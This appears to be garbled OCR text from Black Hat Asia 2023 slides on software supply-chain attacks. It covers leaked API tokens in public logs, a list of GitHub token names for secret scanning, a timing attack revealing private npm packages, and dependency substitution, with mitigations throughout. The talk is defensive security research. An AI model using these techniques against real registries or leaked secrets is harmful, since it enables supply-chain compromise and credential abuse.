‘Q, KeyHacks S

Report repository

KeyHacks shows ways in which particular API keys found on a BLJg Bounty Program can be used, to check if they are Releases
valid.

No releases published

@Gwen001 has scripted the entire process available here and it can be found here

https.//github.com/streaak/keyhacks
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Token variations

github_auth

github_oauth_key github_api_token
github_b_auth

github_access_token

github_secret gh t 0 ke n gh_repo_token

, github_private_key github_auth_token
github_oauth

github_oauth_token ™
github_api_key

github_personal_access_token  gh_client_secret
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Connect the dots

e Ease of Access
e Incomplete censoring

e Accessing “restricted” logs

e Large number of potentially exposed logs
* Weak process for rate limiting
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Disclosure

90%




4]

blackhat

ASIA 2023

Mitigation And Recommendations

Maintain a clean infrastructure and search for legacy components

* Rotate secrets on a regular basis

* Apply the least-privilege principle to tokens

* Detect any sensitive data that might be revealed by scanning
public logs with a secret scanning tools

— To improve secret scanning, use a combination of entropy,
pattern recognition, and variations of popular token names



Artifacts Phase
Timing Attack

Y i QO =0,

IDE SCM Registry CliCD Runtime

#BHASIA @BlackHatEvents
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O private package

@ne-test-org/hello-world

1.0.0 | Private [» Published 19 days ago

@npm/decorate
2.0.1 <|Public| « Published 5 years ago
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Timing Attack: What is it?

Are the cookies hidden in

?
upstairs? No RS No

I 1 I \

https://www.simplethread.com/great-scott-timing-attack-demo/

Are the cookies hidden Are the cookies hidden
downstairs? No
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Executing a timing attack on npm

https://registry.npmjs.com/@random-organization/secret-package [5) save

GET - I1tlp5::‘:’regist:y.rmnij:.:;ml[@'ar1d0'n-o:;;anizatior‘,-'seuel-uackage

Body Pre-rec ests Settings Cookies

Body Cookies Headers Test Results @ [ 404 NotFound | 578 ms | 2338 Save Response

Pretty Preview Visualize JSON ~ = m Q

2 "error": "Not found”
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-~ o P oe
B Private package e Private package does NOT e
5 000
£,UUU
1,500
P
,000
-~ 2 1
2 3 4 5
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Executing a timing attack on npm

REQUEST

1 2 2 4 5 AVERAGE STANDARD DEVIATION
Private package exists 686ms 304ms 363ms 1562ms  326ms 648ms 534ms
Private package does

S 353ms  38ms  38ms  39ms  38ms 101ms 141ms

NOT exist
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A possible package name list

e Guessing attack
e Patterns in the organization’s public packages
e (@contso/contso-*

e @contso/cnt-*
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How attackers can merge everything to an attack

-test-org/hello-world hello-world
o @ne-test-org/hello-wor ; s ello-wor

‘ <I> 1.0.0 « Private < Published 19 days ago

1.0.0 « Public e+ Published 1 hour ago

-V'“E' docker

ustclug/ubuntu | ®seonsoreoss

e 0 By University of Science and Technology of China * Updated 3 days ago

ubuntu | @ pockerofFiciALIMAGE - % 1B+ - Y 10K+

Official Ubuntu Image with USTC Mirror Ubuntu is a Debian-based Linux operating system based on free software.
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Mitigation And Recommendations

It is still possible!

GitHUbsecurlty Rewards Scope Targets Rules FAQs

Timing attacks that reveal a private package

Architectural nuances prevent us from systematically preventing timing attacks from determining whether a specific package
exists. Therefore, timing attacks are considered ineligible.
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Mitigation And Recommendations

It is still possible!

— Consider creating public packages as placeholders to prevent such
attacks

— Read the following npm blog “Avoiding npm substitution attacks”

® Look for timing issues on other platforms



Summary

#BHASIA @BlackHatEvents
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Summary
* Simple vectors, High damage

8 B
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Summary

* |f you are a security researcher in this field, watch your step!

K ] TIthink the CTX package on PyPI has been hacked! [N
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Mitigation And Recommendations

Check all the GitHub links, both in your own code and in the code of
others

~ Update any links that redirect to old organizations to point to the
correct ones
— Perform these checks periodically
* Want to change your organization name? keep it!
* TIP: There is a high possibility of finding potential organizations when
one company acquires or merges with another

mmendations

Mitigatio
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Mitigation e 1 * Look for timing issues on other platforms
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Summary

* This was only the tip of the iceberg
N . B

Package Managers by libraries.io
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MAY 11-12

BRIEFINGS

Thank you

W @Goldmanllay
@YakirKad




